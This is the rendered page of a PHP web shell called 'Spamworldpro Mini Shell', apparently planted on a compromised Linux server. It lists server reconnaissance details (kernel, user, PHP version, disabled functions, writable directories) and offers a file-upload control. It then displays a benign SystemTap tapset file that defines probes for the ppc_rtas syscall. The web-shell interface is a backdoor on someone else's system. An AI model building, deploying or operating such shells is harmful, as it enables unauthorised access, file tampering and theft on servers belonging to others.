Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/rh/gcc-toolset-11/root/usr/share/systemtap/tapset/linux/powerpc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/rh/gcc-toolset-11/root/usr/share/systemtap/tapset/linux/powerpc/sysc_ppc_rtas.stp
# ppc_rtas ________________________________________
#
# int ppc_rtas(struct rtas_args __user *uargs)
#

@define _SYSCALL_PPC_RTAS_NAME
%(
	name = "ppc_rtas"
%)

@define _SYSCALL_PPC_RTAS_ARGSTR
%(
	argstr = sprintf("%p", uargs_uaddr)
%)

probe syscall.ppc_rtas = dw_syscall.ppc_rtas !,
                         nd_syscall.ppc_rtas ? {}
probe syscall.ppc_rtas.return = dw_syscall.ppc_rtas.return !,
                                nd_syscall.ppc_rtas.return ? {}

# dw_ppc_rtas _____________________________________________________

probe dw_syscall.ppc_rtas = kernel.function("ppc_rtas") ?
{
	@_SYSCALL_PPC_RTAS_NAME
	uargs_uaddr = $uargs
	@_SYSCALL_PPC_RTAS_ARGSTR
}
probe dw_syscall.ppc_rtas.return = kernel.function("ppc_rtas").return ?
{
	@_SYSCALL_PPC_RTAS_NAME
	@SYSC_RETVALSTR($return)
}

# nd_ppc_rtas _____________________________________________________

probe nd_syscall.ppc_rtas = kprobe.function("ppc_rtas") ?
{
	@_SYSCALL_PPC_RTAS_NAME
	asmlinkage()
	uargs_uaddr = pointer_arg(1)
	@_SYSCALL_PPC_RTAS_ARGSTR
}
probe nd_syscall.ppc_rtas.return = kprobe.function("ppc_rtas").return ?
{
	@_SYSCALL_PPC_RTAS_NAME
	@SYSC_RETVALSTR(returnval())
}

Spamworldpro Mini